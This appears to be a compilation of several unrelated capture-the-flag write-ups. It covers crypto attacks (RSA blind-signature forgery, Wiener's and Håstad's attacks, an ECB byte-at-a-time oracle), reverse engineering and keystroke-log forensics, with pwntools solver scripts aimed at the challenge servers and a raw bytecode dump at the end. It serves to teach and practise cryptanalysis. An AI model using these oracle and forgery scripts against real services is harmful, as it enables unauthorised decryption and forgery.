First guess is a binary, and judging from the amount of points given for this challenge, that is probably no more complicated than that. `TOP` is either `0` or `1` and the number of `!` denotes the number of each symbol. We try both and find that `TOP` maps to `1`, so `KEK` is `0`. The following code decodes the ciphertext.
```pythonsplit_cipher = ciphertext.split()decrypted = ''for block in split_cipher: if block.startswith('KEK'): decrypted += '0' * (len(block) - 3) else: decrypted += '1' * (len(block) - 3)
decrypted = int(decrypted, 2)print libnum.n2s(decrypted)```
This gives
```flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}```# Trump Trump (100 p)
```With Trump about to be in office, autographed photos of him are selling like wildfire. The only problem is:Trump makes it a point to never sign a photo of himself. If you could get a signed picture, you could stand to make DOZENS of dollars.
nc trumptrump.pwn.republican 3609```
We get the following parameters
```pythone = 65537N = 23377710160585068929761618506991996226542827370307182169629858568023543788780175313008507293451307895240053109844393208095341963888750810795999334637219913785780317641204067199776554612826093939173529500677723999107174626333341127815073405082534438012567142969114708624398382362018792541727467478404573610869661887188854467262618007499261337953423761782551432338613283104868149867800953840280656722019640237553189669977426208944252707288724850642450845754249981895191279748269118285047312864220756292406661460782844868432184013840652299561380626402855579897282032613371294445650368096906572685254142278651577097577263```Converting the image to a number
```pythonf = open('trump.jpg', 'r')data = libnum.s2n(f.read()) % N```
we try to submit it, which incidentially fails. We can exploit that sign(a) × sign(b) = sign(a × b). Since the image is divisible by for instance 5, we can factor out this and sign the two parts separately.
```sign(data / 5) = 15742105247958736958004859844860106392650529642491444791655288653059139800053206167023792876159338330811553994563264038797209523053486931817881299156223450837206775783069574776254654197337314541494064874054449749920216258529257414289049794126137529358458843274774718683434637726891822317083908587215429977340799931758155377373656742947190372216055450421108566287038161365843817023142180328035768992726841684537565155117632165969899505426984495819465218509929865350057283134017766501372618581237936784285588661088765130624093014320161531747074858737002260566015050922492437422682387506583350890218827504186050632600504sign(5) = 18938431620064949405099081881389422411569506620645684785718437650149907701313939238017399264771270907473551575023831816899182480214946633959498312433619616816861526269114681215528914329791099013891595131862543300865871379621247867883669403120593815746911158013483346808195756730946735362037791985948842449343328484149265803462983935765047801620079220588638013959948297979415581591179722303271496129424130559547762467547913292325129340535450673107267746074776721093375970510983576513946461957148135755448610570645462794635156136176208419134557678284424568016798221633694322809374691561612990098051154456165773266086828```so,
```sign(data) = 7240527260044126899075832339973255923943354335060037001558105343295495841635843603507411996488568977206115374657942401805673165802944813082589201103827861325639581582005106924492724100812077464571265915352012064311221086996199961637876724784326540728342282620427706011099830010859187486529928704673604893811823836195858916605646466850177580221970723526928598144155086898666864544017092301766812496415256830844105167571316067435310083881243302996555421199570092966497927454347195963984192282682803663188954259681974561132158520131591167970511602803401392202553720288822909116428852233039667283953852194960467196349739```
Sending this to the service, we get
```Duneld Trump: Well, I already met my quota for Guantanimo Bay inmates today, so okay.Trump looks shocked, appalled by the fact that he'd sign a picture of himself for such a not-billionaire.Trump sprints away at a blinding 2mph, dropping what he was carrying.It's a stack of photos, you pick one up and look at it.ffd8ffe000104a46494600010101006000600000ffdb0043000302020302020303030304030304050805050404050a070706080c0a0c0c0b0a0b0b0d0e12100d0e110e0b0b1016101113141515150c0f171816141812141514ffdb00430103040405040509050509140d0b0d1414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414ffc20011080173029403011100021101031101ffc4001d000002020301010100000000000000000003040102000506070809ffc4001b01000301010101010000000000000000000002030104050607ffda000c03010002100310000001f9904c0c090837024303025896590c36431480cc202776420c90c0c08090c090c090c3242c6f5136f41853dd38e9d0ab557756b58562b284099bb4657767675d55339066f27e8978ef673ebc3030dc08090c330303021770302ccb3b9218658622e955ec8d20...```
Let us write code to make it viewable:
```pythonimport libnumfrom pwn import *
v = remote('trumptrump.pwn.republican', 3609)v.recv(1024)v.send(str(s) + '\r\n')
for i in range(4): v.recvline()data = v.recvline()open('trump1.jpg','w').write(libnum.n2s(int(data, 16)))```

# Vermatrix Supreme (100 p)
```Working in IT for a campaign is rough; especially when your candidate uses his password as the IV for your campaign's proprietary encryption scheme, then subsequently forgets it. See if you can get it back for him.The only hard part is, he changes it whenever he feels like it.
nc vermatrix.pwn.democrat 4201```
Along this, we get the code for the encryption scheme.
```pythonimport sys, random, time
flag = "flag{1_sw34r_1F_p30Pl3_4cTu4lLy_TrY_Th1s}"
def printmat(matrix): for row in matrix: for value in row: print value, print "" print ""
def pad(s): if len(s)%9 == 0: return s for i in xrange((9-(len(s)%9))): s.append(0) return s
def genBlockMatrix(s): outm = [[[7 for x in xrange(3)] for x in xrange(3)] for x in xrange(len(s)/9)] for matnum in xrange(0,len(s)/9): for y in xrange(0,3): for x in xrange(0,3): outm[matnum][y][x] = s[(matnum*9)+x+(y*3)] return outm
def fixmatrix(matrixa, matrixb): out = [[0 for x in xrange(3)] for x in xrange(3)] for rn in xrange(3): for cn in xrange(3): out[cn][rn] = (int(matrixa[rn][cn])|int(matrixb[cn][rn]))&~(int(matrixa[rn][cn])&int(matrixb[cn][rn])) return out
def chall(): IV = [c for c in '?????????'] seed = "??????????????????"
blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed]))
res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
print "SEED: " + str(seed) printmat(res)
data = raw_input("")
data = data.replace(' ', '').strip().split(',')
if len(data) != 9: return False
for i in xrange(len(IV)): if str(IV[i]) != str(data[i]): return False
return True
if chall(): print flag```
The `IV` is a series of 9 numbers in some undefined range. Instead of spending a bunch of time to find some algebraic relations that we can exploit, we can use Z3. We define a set of variables (BitVec) for Z3, representing the unknown `IV`. Since the matrix we receive should contain the same values as the computed one, given `seed` and the correct `IV`, we set up equality relations.
```pythonfrom z3 import *from pwn import *from vermatrix import *
def find_iv(seed, target): s = Solver() IV = [BitVec('%d' % i, 32) for i in range(1,10)] blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed])) res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
for y1, y2 in zip(res, target): for x1, x2 in zip(y1, y2): s.add(x1 == x2) # they should be equal! return s```
Now, we can use this routine in connecting to the server as follows:
```pythoncontext.log_level = 'error'v = remote('vermatrix.pwn.democrat', 4201)
seed = v.recvline().split()[1]target_matrix = [[int(x) for x in v.recvline().split()] for i in range(0, 3)]s = find_iv(seed, target_matrix)
if s.check() == sat: m = s.model() out = [0]*9 for x in m: out[int(str(x))-1] = m[x] v.send(str(out)[1:-1] + '\n') print 'FLAG: {0}'.format(v.recvline())```
Running the whole code, we obtain
```flag{IV_wh4t_y0u_DiD_Th3r3}```
# Boxes of Ballots (200 p)
```Privjet Komrade!
While doing observing of Amerikanski's voting infrascture we find interesting box. We send operative to investigate. He return with partial input like showing below.He say box very buggy but return encrypted data sometimes. Figure out what box isdo; maybe we finding embarass material to include in next week bitcoin auction, yes?
ebug": true, "data": "BBBBBBBBBBBBBBBB", "op": "enc"}
nc boxesofballots.pwn.republican 9001```
This challenge is very similar to [this](https://github.com/grocid/CTF/tree/master/IceCTF/2016#l33tcrypt-90-p)). We can solve it as follows:
```pythonfrom pwn import *import jsonimport string
def getdata(res): for l in res.split('\n'): if l.startswith('{"Status"'): return json.loads(l)['data']
def getreference(buflen, v): data = {"debug": False, "data": 'x'*buflen , "op": "enc"} payload = json.dumps(data).replace('False', 'false') v.send(payload + '\n') response = v.recv(1024) ref = getdata(response)[:64] return ref
context.log_level = 'error'v = remote('boxesofballots.pwn.republican', 9001)result = ""buflen = 31
while buflen: ref = getreference(buflen, v)
for i in string.printable: data = {"debug": False, "data": 'x'*buflen + result + i, "op": "enc"} payload = json.dumps(data).replace('False', 'false')
v.send(payload + '\n') response = v.recv(1024) res = getdata(response) if res[:64] == ref: result += i buflen -= 1 print result break else: print "[-] Error" exit(-1)```
gives
```flag{Source_iz_4_noobs}```
Michał Żuberek ([Z](http://z.bigi.pl)) of my team Snatch the Root solved this one.
# The Best RSA (250 p)
```At his last rally, Trump made an interesting statement:
I know RSA, I have the best RSAThe more bits I have, the more secure my cyber, and my modulus is YUUUUUUUUUUUUUGEWe don't believe his cyber is as secure as he says it is. See if you can break it for us```
We get a file with a public exponent `e = 65537` and a massive public modulus `N`. Clearly, there is something strange with this modulus. The first obvious move is to check for small factors, and in fact, we find that 3 is a factor. Not once, but several times. The whole modulus consist of very small prime factors. Let us write some code to factor it!
```pythonimport libnum, grocid, challenge
def get_private_exponent(phi, e): return libnum.modular.invmod(e, phi)
def find_factors(n, h): primes = grocid.sieve(h) factors = {} for p in primes: while n % p == 0: n = n / p if p in factors: factors[p] +=1 else: factors[p] = 1 return factors
print '[+] Factoring n...'single_factors = find_factors(challenge.n, 10000)```
OK, so we got a dictionary containing each prime factor and its corresponding exponent. It looks like this:
```python{3: 1545, 5: 1650, 7: 1581, 137: 1547, 11: 1588, 13: 1595, 17: 1596, 19: 1553, 149: 1572, 23: 1579, 29: 1549, 31: 1613, 163: 1589, 37: 1594, 167: 1578, 41: 1524, 43: 1538, 173: 1617, 47: 1571, 229: 1610, 179: 1556, 53: 1635, 59: 1556, 151: 1549, 61: 1605, 181: 1582, 193: 1549, 67: 1606, 197: 1520, 71: 1589, 73: 1571, 241: 1564, 79: 1548, 83: 1630, 139: 1638, 89: 1535, 199: 1574, 223: 1610, 97: 1456, 227: 1600, 131: 1540, 101: 1514, 103: 1583, 233: 1564, 107: 1591, 109: 1529, 239: 1556, 157: 1600, 113: 1601, 211: 1544, 251: 1493, 191: 1564, 127: 1565}```
So, we can compute ϕ and the corresponding private exponent:
```pythonphi = challenge.nprint '[+] Computing phi...'for p in single_factors: phi = phi / p * (p - 1)
print '[+] Computing private exponent'd = get_private_exponent(phi, 65537)```
This enables us to decrypt! However, if you try it, you will probably notice that it takes quite some time and memory to compute cᵈ (mod n). Now, we can speed this a bit using CRT. So, we compute cᵈ (mod 3¹⁵⁴⁵) and so on separately, for each prime factor and then use CRT to reconstruct the whole message:
```pythonremainders = []moduli = []
for p in single_factors: modulus = pow(p, single_factors[p]) moduli.append(modulus) remainder = pow(challenge.c, d, modulus) remainders.append(remainder)
plaintext = libnum.modular.solve_crt(remainders, moduli)print 'Message: {0}'.format(libnum.n2s(plaintext))```
It still takes some time to complete, but it is managable (left it running while doing other stuff so...). It could possibly be made faster by Hensel lifting, but I decided not to try it. When done, we get a message which is a image file.:

# Baby's hands (300 p)```We think that Trump's right hand man has been sending out flags from his personal computer, but we need to be sure. See if you can make anything out of the trafficwe intercepted.```
The initial two lines are
```python{d:n:c}{64193765095472280945778947695026260940793161700792092928929371930940586875921621250436677664062645637750266086941620369817913432656342447118119648040487568561166129534408858429501807430550886328164336961068507005046531729954378900389289038547121166749974617776234380115780563231906876010653549490718147637109:162375468556255342840184380017752307049575955143811124651668179546999144455415632265862602514386409412258772643790637233144774447636694664087397175482938958661142022166864007317692608104513835959387316735889741416403005613839667775733147723497537341613995375357897642024075069112712472560335406551536669543677:161368580245997137625438248139098888389801359838792140099794084052829279383422322670122662786704858201672541232233171127388341066584896672407182421832728901923771676356720611937864219195771372253188974650818854505110963737925290199983571032857746780899310446337006151661497839040062867489758146326490061720009}```
OK, so the private exponent `d` is published. We try to compute cᵈ (mod n) and look at the binary data with binwalk. No results. Hm... so, what if we need the public exponent `e` to compute the plaintext? We can probably find this with Wieners attack! Let us try it!
```pythonimport libnum, grocid
f = open('intercepted', 'r')
data = f.read()data = data.split('\n')
for line in data[1:]: d, n, c = [int(x) for x in line[1:-1].split(':')] e = grocid.wiener.attack(d, n)```
This yields
```flag{G3t_1t?_1t_h4s_4_sm4ll_d}```
# SMTPresident (400 p)
```The FBI reopened their investigation of Hillary Clinton after they recovered some interesting files from her personal email server.
emailspubkeysflag```
The file `pubkeys` contains a set of public keys with very small public exponent (e = 17). Assuming that every message sent on the same date is identical, we can use Håstad's broadcast attack. Incidentially, we have 17 of each every date. The following Python code will do just fine:
```pythonfrom os import listdirfrom os.path import isfile, joinfrom Crypto.PublicKey import RSAfrom base64 import b64decodeimport re, libnum, gmpy
def get_files(path): return [f for f in listdir(path) if isfile(join(path, f))] pubkeysfiles = get_files('./pubkeys')emailfiles = get_files('./emails')pubkeys = {}encrypted_emails = {}
for pubkeyfile in pubkeysfiles: f = open('./pubkeys/' + pubkeyfile, 'r') data = f.read().replace('-----BEGIN RSA PUBLIC KEY-----', '').replace('-----END RSA PUBLIC KEY-----', '') data = b64decode(data) pubkeys[pubkeyfile] = RSA.importKey(data) f.close()
for emailfile in emailfiles: f = open('./emails/' + emailfile, 'r') data = f.read() sender = re.findall('To: (.*)@dnc', data)[0] date = re.findall('Date: (.*)\n', data)[0] content = re.findall('Content: (.*)', data)[0] if not date in encrypted_emails: encrypted_emails[date] = {} encrypted_emails[date][sender] = int(content, 16)
message_content = Falsefor date in encrypted_emails: moduli = [] remainders = [] for x in encrypted_emails[date]: moduli.append(pubkeys[x].n) remainders.append(encrypted_emails[date][x])
x = libnum.modular.solve_crt(remainders, moduli) x0 = gmpy.mpz(x) xr = x0.root(17) message = libnum.n2s(int(xr[0])) if not message_content: message_content = ['?'] * len(message) for i, c in enumerate(message): if c != '#': message_content[i] = c
print ''.join(message_content)```
which outputs
```Subject: My Fellow DNC MembersContent: Keep this safe <MISSING>1862866103431083493477241717117566609979097064670248011800478128293487053500169824960133057115553, that's the key we agreed on.```
OK, so let us assume that the key mentioned in the message is the lower bits of the private exponent. There is a method to solve this problem. A script which implements this method can be found [here](https://github.com/grocid/CTF/tree/master/CSAW/2016#still-broken-box-400-p) and [here](https://grocid.net/2016/03/14/0ctf-equation/).
Unfortunately, the computation did not finish (e = 65537 takes some time to run, even multithreaded). Pity. |
# Crypto 100_1
> Ciphertext: > 52112515_4535_331534 > 442315_321144422453_231143_543445 > 213431313452_442315_5223244415_411112122444 > 2533341325_2533341325_331534 > 442315_21311122_2443_442315_4423244214_31243315
We got a cipher text that was five lines long and consisted of underscores and numbers from 1 to 5. With this information I was able to identify the cipher to have been created with [Polybius square](https://en.wikipedia.org/wiki/Polybius_square).
The original square [according to Wikipedia](https://en.wikipedia.org/wiki/Polybius_square) is as follows:
| | 1 | 2 | 3 | 4 | 5 ||-------|---|---|---|---|---|| **1** | a | b | c | d | e || **2** | f | g | h |i/j| k || **3** | l | m | n | o | p || **4** | q | r | s | t | u || **5** | v | w | x | y | z |
Each character is presented with two numbers. The first number shows the row and the second number shows the column of the character.
I wrote the following Python script to decipher the ciphertext:
```pythonciphers = ['52112515_4535_331534', '442315_321144422453_231143_543445', '213431313452_442315_5223244415_411112122444', '2533341325_2533341325_331534', '442315_21311122_2443_442315_4423244214_31243315']
matrix = [['a', 'b', 'c', 'd', 'e'], ['f', 'g', 'h', 'i', 'k'], ['l', 'm', 'n', 'o', 'p'], ['q', 'r', 's', 't', 'u'], ['v', 'w', 'x', 'y', 'z']]
plain = []
for c in ciphers: words = c.split('_') for word in words: for num in range(0, len(word), 2): y = int(word[num]) x = int(word[num + 1]) plain.append(matrix[y - 1][x - 1]) plain.append('_') plain[len(plain) - 1] = '\n' print ''.join(plain)```The scipt printed the following plaintext:```wake_up_neo the_matrix_has_you follow_the_white_qabbit knock_knock_neo the_flag_is_the_third_line```
Despite the printed text claiming that the flag is 'follow_the_white_qabbit', the real flag didn't have a typo. The flag accepted by the site was 'follow_the_white_rabbit'. |
#Hacker In Disguise(for, 100 points, solved by 27)###We have captured these codes in a secret communication, please tell us its meaning.
___________________________________________________________
1. Extract an archive. View file "TIC.txt".
```r2C +17 d17 rF0 r2C -17 u17 r33 +0B d0B r43 +0C d0C rF0 r33 -0B u0B rF0 r43 -0C u0C r1B +16 d16 rF0 r1B -16 u16 r29 +2C d2C r43 +0C d0C rF0 r29 -2C u2C rF0 r43 -0C u0C r1B +16 d16 rF0 r1B -16 u16 r29 +2C d2C rF0 r29 -2C u2C r35 +1C d1C rF0 r35 -1C u1C r44 +12 d12 r3C +18 d18 rF0 r44 -12 u12 rF0 r3C -18 u18 r2D +15 d15 r29 +2C d2C rF0 r2D -15 u15 rF0 r29 -2C u2C r2B +09 d09 rF0 r2B -09 u09 r4B +0F d0F rF0 r4B -0F u0F r1C +04 d04 r34 +0A d0A rF0 r1C -04 u04 rF0 r34 -0A u0A r29 +2C d2C rF0 r29 -2C u2C r59 +E5 dE5 r24 +08 d08 rF0 r24 -08 u08 r42 +0E d0E r44 +12 d12 rF0 r42 -0E u0E rF0 r44 -12 u12 rF0 r59 -E5 uE5 r12 +E1 dE1 r54 +2F d2F rF0 r54 -2F u2F rF0 r12 -E1 uE1 r33 +0B d0B r44 +12 d12 rF0 r33 -0B u0B rF0 r44 -12 u12 r4B +0F d0F rF0 r4B -0F u0F r1C +04 d04 rF0 r1C -04 u04 r4D +13 d13 r43 +0C d0C rF0 r4D -13 u13 rF0 r43 -0C u0C r1C +04 d04 rF0 r1C -04 u04 r31 +11 d11 r44 +12 d12 rF0 r31 -11 u11 rF0 r44 -12 u12 r4B +0F d0F r1C +04 d04 rF0 r4B -0F u0F rF0 r1C -04 u04 r12 +E1 dE1 r5B +30 d30 rF0 r5B -30 u30 rF0 r12 -E1 uE1 r11 +E0 dE0 r21 +06 d06```
1. What is it? We can find a part of the file in Google.
2. But after a while, we found [**it**](https://deskthority.net/workshop-f7/xt-at-ps2-terminal-to-usb-converter-with-nkro-t2510-360.html).
3. Okay, this is a log file of an HID Keyboard.
4. We open USB HID usage table [USB HID](http://www.freebsddiary.org/APC/usb_hid_usages.php).
5. The flag format EKO{} encoded, looks like this: +08 +0e +12 +2f +30.
6. We later quickly find encoded text. Get the flag:
```EKO{HOLAPIANOLA}``` |
#Write-up Logmein - RC3 Fall CTF 2016
Challenge text:This has to be one of the safest and most secure login forms out there. Can you break it o 1337 h4x0r?Download Link: https://drive.google.com/file/d/0Bw7N3lAmY5PCUVR4WGloSGlkUG8/view?usp=sharing
This challenge provides a file named "Logmein". To check what filetype this file is:> file logmein
This command results in the output:> logmein: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c8f7fb137d9be24a19eb4f10efc29f7a421578a7, stripped
logmein is an ELF 64-bit executable. In order to analyze it or decompile the executable to pseudocode, the executable has to be opened in a 64-bit decompiler.Currently, only "main" is the section of interest as this shows the main code to be executed. The output of main:
```void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){ size_t v3; // rsi@1 int i; // [sp+3Ch] [bp-54h]@3 char s[36]; // [sp+40h] [bp-50h]@1 int v6; // [sp+64h] [bp-2Ch]@1 __int64 v7; // [sp+68h] [bp-28h]@1 char v8[8]; // [sp+70h] [bp-20h]@1 int v9; // [sp+8Ch] [bp-4h]@1e
v9 = 0; strcpy(v8, ":\"AL_RT^L*.?+6/46"); v7 = 28537194573619560LL; v6 = 7; printf("Welcome to the RC3 secure password guesser.\n", a2, a3); printf("To continue, you must enter the correct password.\n"); printf("Enter your guess: "); __isoc99_scanf("%32s", s); v3 = strlen(s); if ( v3 < strlen(v8) ) sub_4007C0(); for ( i = 0; i < strlen(s); ++i ) { if ( i >= strlen(v8) ) sub_4007C0(); if ( s[i] != (char)(*((_BYTE *)&v7 + i % v6) ^ v8[i]) ) sub_4007C0(); } sub_4007F0();}
```
#Cleaning the codeFirst, let's clean this up and make the code better understandable for everyone:
```void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){ int i; char s[36]; int v6; __int64 v7; char v8[18];
strcpy(v8, ":\"AL_RT^L*.?+6/46"); v7 = 28537194573619560LL; printf("Welcome to the RC3 secure password guesser.\n"); printf("To continue, you must enter the correct password.\n"); printf("Enter your guess: "); __isoc99_scanf("%32s", s); if ( strlen(s) < strlen(v8) ) sub_4007C0(); for ( i = 0; i < strlen(s); ++i ) { if ( i >= strlen(v8) ) sub_4007C0(); if ( s[i] != (char)((v7 >> (8*(i % 7))) & 0xff) ^ v8[i]) sub_4007C0(); } sub_4007F0();} ```
The following operations have occured:* Removed size_t v3. It's purpose in this code is to carry the string length of "s" (strlen(s)). This is not necessarily needed;* Changed char v8[8] to char v8[18] as the actual size of the string copied to v8 is 18 (see strcpy);* Removed v9. It serves no purpose in this code;* Removed a2 and a3 from printf statement. This serves no purpose either;* Removed v6 as it only carried value 7. This is inserted directly into the if-statement;* Changed (char)(\*((_BYTE \*)&v7 + i % v6) ^ v8[i]) ) to (char)((v7 >> (8\*(i % 7))) & 0xff) ^ v8[i]).
The last operation is based on the typedef of \*((_BYTE \*)&x + y, which can be found in the files of Hex-Rays decompiler.It basically states \*((_BYTE\*)&(x)+y means: yth byte of value x. So the statement was replaced to get the (i%7)th byte of v7.
#FunctionsThe code contains two different functions sub_4007C0 and sub_4007F0.
sub_4007C0:```void __noreturn sub_4007C0(){ printf("Incorrect password!\n"); exit(0);}```
This function basically prints "Incorrect password!" and exits the code, meaning the if-statements must be not true (remember !=).
sub_4007F0:```void __noreturn sub_4007F0(){ printf("You entered the correct password!\nGreat job!\n"); exit(0);}```
This function basically prints "You entered the correct password! (newline) Great job!" and then exits the code. As the flag is not printed when the password is guessed correctly, the password is probably the flag.
#If-statements not trueIn order to get to function sub_4007F0, all if-statements passed in "main" should return false. The code runs three if-statements.
First if-statement```if ( strlen(s) < strlen(v8) ) sub_4007C0();```
This if-statement defines, the string length of s (input string) may not be lower than the string length of v8.The length of string s should remain greater than or equal to 17. Why 17? One character, the double quote, was escaped using a backslash. So, the backslash does not count as a character.
Second if-statement```if ( i >= strlen(v8) ) sub_4007C0();```
This if-statement defines that if i is bigger than the string length of v8, the program should be exited. This is correct, as the for-loop only runs until i is equal to strlen(v8) and then stops.This means, our input string has to equal the exact length of 17 characters.
Third if-statement```if ( s[i] != (char)((v7 >> (8*(i % 7))) & 0xff) ^ v8[i]) sub_4007C0();```
This if-statement defines that if a specific character in our input string is not equal to the XOR-ed value, the program should be exited.From here we know, the XOR-value is equal to the password. In order to find the flag, we need to find the result of the XOR-statement.In order to do this, I created a python script, which is described in the next section.
#PythonThe python script is a rewritten piece of code based on the pseudocode generated from logmein. The python script can be found in this repository as xorops.py
Executing this python script results in the flag:> RC3-2016-XORISGUD |
# CSAW CTF 2016 aul (100) Writeup
> Wow, this looks like an aul-ful game. I think there is a flag around here somewhere...>> `nc pwn.chal.csaw.io 8001`
This challenge doesn't provide any file to analyze but only a target service to connect to.
After connecting, you'll be presented with something which looks like a game:
```let's play a game| 0 0 0 0 0 0 0 0 || 0 1 0 0 0 0 4 0 || 0 3 2 2 4 1 4 4 || 0 3 2 3 2 3 4 3 || 4 b 2 2 4 4 3 4 || 3 2 4 4 1 1 2 2 || 3 3 c d 3 3 2 3 || 3 2 1 4 4 a 2 4 |```
After trying some commands it sends a hint which commands are available:
```Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.```
As we clearly need some help on this game, let's ask for:
```LuaS?�?xV(w@????�,��,�,��,�,@��,��,���,�,@��,��,���?�CA�?$@??@C$@�&�?? make_board?populate_board?board_tostring?fall?rotate??crush? rotate_leftreadAll?help?quit??exit? run_step?game?writeline??let's play a game?? ? ???K@J��@@�� AF�@setmetatable???A?��J�?�@�f?&�??size? __tostring?board_tostring????"? .�@�?��?A@�@?@??$A?b@?����?�@?RA?,? @��?@�F�A�??��????AB?��?�A?d????���??���@?i����A�?���?h�?�@??d���?C�BC�??��?��?g��F�C�?e??f?&�?size?math??F@G@�����?d�?��F??��?@�&?&�??math?random???????$/?!K�@�@�@?A���?���?BN�@?��(B?�?�?A???�����?݁??'?�?BA�A?@?��?�?��?��?$B�?����@A��??�AA?��?�&�?size?????|?? ??table?insert?? |?concat???1D??G@�@@��?����?�?�N?��??(��?�?@?�?$B?'���?&�?size? make_board??????5=?EN�� @?�@?���?��?�?�??���_@@???��?��??�?���?�?�?�����??N����&�?????������??OC?MÂ?GC?�@??'?��@��?&�??size?����??�N����(B?�C� make_board????Ug?$G@�@@��?����?�??�A??�A?��?�@??�N����?(A��?��?'?�?�OA�N��?��?(A?�B�???G�?GB�??@???@����??@��?��?'?��?&?size? make_board???a??b??c??d???ik? F@�@�@?�?�ef&�??rotate?mr? F@G@����d��?���???���?�@��@?�?&�???io?open??rb?read?*all??close?tx?@@@F�@��d�?�?$��?F@A��@ǀ�??�?d@&�?string??subreadAll? server.luac??? writeraw??len?{}?@@�&�??quit???�?-F@d���@@��@?����??�@??���A�@���?�@@�@A?��?�?���?�?@���?�@@�@A?��?�?���?�?@���?�B�@??���?��?���?�B??@���?�??�?�&� ? readline?string??len??exit?find? function??print?loadreturn ?��?%?@F@@��d?$�F�@�A���?�@?��?d@?F�A�d�?��A�@?@?�_�?@?���@BƀB?AB@?$??���??����@��?�@?��?�&� ?populate_board? make_board?writeline?board_tostring??? run_step?quit?fall??crush?EDidn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.?Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.```
or in hex:
```00000000: 4c75 6153 0019 930d 0d0a 1a0d 0a04 0804 LuaS............00000010: 0808 7856 0000 0000 0000 0000 0000 0028 ..xV...........(00000020: 7740 0100 0000 0000 0000 0000 0002 021f [email protected]: 0000 002c 0000 0008 0000 802c 4000 0008 ...,.......,@...00000040: 0080 802c 8000 0008 0000 812c c000 0008 ...,.......,....00000050: 0080 812c 0001 0008 0000 822c 4001 0008 ...,.......,@...00000060: 0080 822c 8001 0008 0000 832c c001 0008 ...,.......,....00000070: 0080 832c 0002 0008 0000 8408 80c2 842c ...,...........,00000080: 4002 0008 0080 852c 8002 0008 0000 862c @......,.......,00000090: c002 0008 0080 8606 8043 0041 c003 0024 .........C.A...$000000a0: 4000 0106 4043 0024 4080 0026 0080 0010 @...@C.$@..&....000000b0: 0000 0004 0b6d 616b 655f 626f 6172 6404 .....make_board.000000c0: 0f70 6f70 756c 6174 655f 626f 6172 6404 .populate_board.000000d0: 0f62 6f61 7264 5f74 6f73 7472 696e 6704 .board_tostring.000000e0: 0566 616c 6c04 0772 6f74 6174 6504 0663 .fall..rotate..c000000f0: 7275 7368 040c 726f 7461 7465 5f6c 6566 rush..rotate_lef00000100: 7404 0872 6561 6441 6c6c 0405 6865 6c70 t..readAll..help00000110: 0405 7175 6974 0100 0405 6578 6974 0409 ..quit....exit..00000120: 7275 6e5f 7374 6570 0405 6761 6d65 040d run_step..game..00000130: 0a77 7269 7465 6c69 6e65 0413 6c65 7427 .writeline..let'00000140: 7320 706c 6179 2061 2067 616d 650d 0a01 s play a game...00000150: 0000 0001 000c 0000 0000 0300 0000 0c00 ................00000160: 0000 0100 0611 0000 004b 4000 004a 0000 [email protected]..00000170: 8086 4040 00c0 0080 000b 4100 0046 c140 ..@@......A..F.@00000180: 000d 0a41 0181 a440 8001 8100 0100 cf00 [email protected]: 0000 ce40 c101 0141 0100 a800 0080 4a00 [email protected].000001a0: c102 a740 ff7f 6600 0001 2600 8000 0600 [email protected]...&.....000001b0: 0000 0405 7369 7a65 040d 7365 746d 6574 ....size..setmet000001c0: 6174 6162 6c65 040b 5f5f 746f 7374 7269 atable..__tostri000001d0: 6e67 040f 626f 6172 645f 746f 7374 7269 ng..board_tostri000001e0: 6e67 1300 0000 0000 0000 0013 0100 0000 ng..............000001f0: 0000 0000 0100 0000 0000 0000 0000 0000 ................00000200: 0000 0000 0000 0000 0000 000e 0000 0022 ..............."00000210: 0000 0003 000c 2e00 0000 c700 4000 a200 [email protected]: 0000 1ec0 0080 0641 4000 0781 4002 4001 .......A@...@[email protected]: 0001 2441 0001 6240 0000 1e80 0080 0fc1 [email protected]: 8001 0fc1 4002 5200 4102 2c01 0000 2040 [email protected].,... @00000250: 8082 1e40 0780 4681 4100 8b01 0002 c1c1 [email protected].......00000260: 0100 0102 0200 4142 0200 8182 0200 ab41 ......AB.......A00000270: 0002 6401 0101 1e80 0080 8002 0002 a482 ..d.............00000280: 8000 0d0a 4002 0569 8100 00ea 81fe 7f41 [email protected]00000290: c102 008e 01c1 00c1 c102 0068 8101 8040 ...........h...@000002a0: 0200 0264 8280 0086 0243 0087 4243 05c1 ...d.....C..BC..000002b0: 0201 00a4 8200 010d 0a80 8204 67c1 fd7f ............g...000002c0: 4681 4300 8001 0000 6501 0001 6601 0000 F.C.....e...f...000002d0: 2600 8000 0f00 0000 0405 7369 7a65 0405 &.........size..000002e0: 6d61 7468 040b 7261 6e64 6f6d 7365 6564 math..randomseed000002f0: 1303 0000 0000 0000 0013 0400 0000 0000 ................00000300: 0000 1300 0000 0000 0000 0004 0769 7061 .............ipa00000310: 6972 7304 0261 0402 6204 0263 0402 6413 irs..a..b..c..d.00000320: 0100 0000 0000 0000 0405 6d61 7468 0407 ..........math..00000330: 7261 6e64 6f6d 0405 6661 6c6c 0100 0000 random..fall....00000340: 0000 0100 0000 0013 0000 0017 0000 0000 ................00000350: 0004 0d00 0000 0400 0000 4600 4000 4740 [email protected]@00000360: c000 8500 8000 c500 8000 8fc0 0001 6480 ..............d.00000370: 0001 0e80 c000 4600 0001 1fc0 c000 1e40 ......F........@00000380: fd7f 2600 0001 2600 8000 0400 0000 0405 ..&...&.........00000390: 6d61 7468 0407 7261 6e64 6f6d 1301 0000 math..random....000003a0: 0000 0000 0013 0000 0000 0000 0000 0300 ................000003b0: 0000 0000 0103 0100 0000 0000 0000 0000 ................000003c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................000003d0: 0000 0000 0024 0000 002f 0000 0001 000f .....$.../......000003e0: 2100 0000 4b00 0000 8700 4000 c140 0000 !...K.....@[email protected]: 0e81 4001 4181 0000 e880 0480 c1c1 0000 [email protected]...........00000400: 0142 0000 4e82 4001 8182 0000 2842 0180 .B..N.@.....(B..00000410: 0003 8003 